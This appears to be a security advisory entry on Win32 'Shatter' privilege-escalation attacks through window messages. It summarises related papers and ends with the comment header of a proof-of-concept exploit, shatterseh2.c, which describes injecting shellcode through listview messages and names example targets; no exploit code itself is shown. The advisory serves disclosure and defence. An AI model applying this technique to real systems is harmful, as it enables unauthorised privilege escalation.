A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based application. Attackers with local access may exploit this vulnerability to elevate privileges if a window belonging to another process with higher privileges is present. One example of such a process is antivirus software, which often must run with LocalSystem privileges.
     
** Microsoft has released a statement regarding this issue. Please see the References section for details.
     
A paper, entitled "Win32 Message Vulnerabilities Redux" has been published by iDEFENSE that describes another Windows message that may be abused in a similar manner to WM_TIMER. Microsoft has not released patches to address problems with this message. There are likely other messages which can be exploited in the same manner.
     
Another proof-of-concept has been released by Brett Moore in a paper entitled "Shattering SEH III". This paper demonstrates how Shatter attacks may be used against applications which make use of progress bar controls.
     
Brett Moore has released a paper entitled "Shattering By Example" which summarizes previous Shatter attacks, discusses new techniques and also provides an exploit which abuses Windows statusbars using WM_SETTEXT, SB_SETTEXT, SB_GETTEXTLENGTH, SB_SETPARTS and SB_GETPARTS messages. Please see the attached reference to the paper for more details.

* shatterseh2.c
*
* Demonstrates the use of listview messages to;
*    - inject shellcode to known location
*    - overwrite 4 bytes of a critical memory address
*
* 3 Variables need to be set for proper execution.
*    - tWindow is the title of the programs main window
*    - sehHandler is the critical address to overwrite
*    - shellcodeaddr is the data space to inject the code
* The 'autofind' feature may not work against all programs.
* Insert your own blank lines for readability
* Try it out against any program with a listview.
*   eg: explorer, IE, any file open dialog
